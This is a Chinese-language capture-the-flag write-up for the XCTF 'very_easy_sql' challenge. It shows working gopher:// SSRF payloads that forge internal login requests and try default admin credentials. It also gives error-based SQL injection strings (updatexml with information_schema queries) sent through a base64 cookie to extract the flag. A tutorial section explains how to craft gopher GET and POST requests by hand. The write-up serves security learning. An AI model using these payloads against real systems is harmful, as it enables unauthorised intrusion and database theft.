XCTF-very_easy_sql

XCTF-very_easy_sql

  • 扩展

主页如下,注意有一个你不是内部用户的提示。
XCTF-very_easy_sql_第1张图片
主页注释有一个user.php。

XCTF-very_easy_sql_第2张图片

XCTF-very_easy_sql_第3张图片
测试访问本地的127.0.0.1。
XCTF-very_easy_sql_第4张图片
输入http://61.147.171.105:51039测试一下。
XCTF-very_easy_sql_第5张图片
应该是过滤了某些东西,还记得首页你不是内部用户的提示么,SSRF就是用于当我们无法与内网目标直接请求通信,而可以利用web服务器来当作踏板,以web服务器的身份向内网目标交互,所以叫做server-side request forgery,服务端请求伪造。

判断web服务器是否使用的80端口。
XCTF-very_easy_sql_第6张图片

随意输入信息并使用burp suite抓包,并且构造好gopher。
XCTF-very_easy_sql_第7张图片
注意我们要以web服务器的身份发送,所以应该是从127.0.0.1:80请求。

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2023%0d%0a%0d%0auname=rick&passwd=morty%0d%0a

XCTF-very_easy_sql_第8张图片

我们以rick:morty的身份登录,并且获得了一个Cookie。“Set-Cookie: PHPSESSID=gq8k1gbh9sp822ur2b0hpjnbk4”,很显然我们此用户貌似不是内网已有用户。尝试一下admin:admin、admin:qwerty等几个常见的密码账户,不行就暴力跑一下。使用admin:admin,记得Content-Length记得改。

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0auname=admin%26passwd=admin%0d%0a

XCTF-very_easy_sql_第9张图片
得到了一个cookie,this_is_your_cookie=YWRtaW4%3D。

XCTF-very_easy_sql_第10张图片
这个admin是啥意思?根据题目描述大概率是sql注入点。加上Cookie: this_is_your_cookie=YWRtaW4n(admin’的base64编码)
XCTF-very_easy_sql_第11张图片
看报错给的反馈是admin’)。
XCTF-very_easy_sql_第12张图片XCTF-very_easy_sql_第13张图片

报错注入。
XCTF-very_easy_sql_第14张图片

XCTF-very_easy_sql_第15张图片

admin') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

XCTF-very_easy_sql_第16张图片
看到有一个flag表。
XCTF-very_easy_sql_第17张图片
flag表里有一个flag字段。

admin') and updatexml(1,(concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='flag'))),1)#

XCTF-very_easy_sql_第18张图片
查看flag。
在这里插入图片描述
显示不完全用substr分段读。前25个字符。

admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),1,25)))),1)#

XCTF-very_easy_sql_第19张图片
后25个字符。

admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),26,50)))),1)#

XCTF-very_easy_sql_第20张图片
拼接cyberpeace{73607790a96c63b371cc8015e48c9044}。我们已经完成了一次使用SSRF攻击内网的mysql服务攻击。

扩展

首先查看当前使用的curl能否支持gopher,使用curl --version。
在这里插入图片描述

gopher协议支持GET、POST请求。gopher协议格式是 gopher://host:port/_tcpStream。先模拟一个GET请求,gopher://127.0.0.1:4443/abcd,可以发现abcd只接收到了bcd,a不见了。在这里插入图片描述
因为使用gopher协议请求会吞掉第一个字符,所以用随意一个字符让它吃。
在这里插入图片描述
来用gopher get请求一下。
XCTF-very_easy_sql_第21张图片
XCTF-very_easy_sql_第22张图片
burp suite抓包看看请求。
XCTF-very_easy_sql_第23张图片
筛选必要的请求头。
XCTF-very_easy_sql_第24张图片
首先转化请求为url,并不是所有内容都要转化为url。
XCTF-very_easy_sql_第25张图片
将回车换行符(\r\n)替换为%0d%0a。
XCTF-very_easy_sql_第26张图片
去掉换行符。
XCTF-very_easy_sql_第27张图片
这里搞忘把问号url编码了还有末尾添上%0d%0a用来表示http包请求的结束,补上。
在这里插入图片描述

为啥连接失败,因为gopher默认使用70端口,但是我们开的是80端口,修改即可。
在这里插入图片描述

XCTF-very_easy_sql_第28张图片

gopher POST请求。
在这里插入图片描述
在这里插入图片描述
使用burp suite抓包后转化为POST请求。
XCTF-very_easy_sql_第29张图片
XCTF-very_easy_sql_第30张图片
筛选请求头,经过测试保留下来的就是必须的。
XCTF-very_easy_sql_第31张图片
首先将请求转化为url编码,不是将所有内容都转化为url编码。
XCTF-very_easy_sql_第32张图片

遇到回车换行符(\r\n)替换为%0d%0a,post请求数据是两个换行符。
XCTF-very_easy_sql_第33张图片
接着删掉换行。
在这里插入图片描述

最后添加上gopher://127.0.0.1/_就可以了。
在这里插入图片描述

这样我们就完成了一次gopher的POST请求。

XCTF-very_easy_sql_第34张图片

小总结一下使用gopher请求GET和POST的注意事项:

  • GET和POST最好都在末尾添加上%0d%0a表示http包请求结束
  • GET别忘问号编码
  • POST别忘%0d%0a替换回车换行

你可能感兴趣的:(XCTF,其他)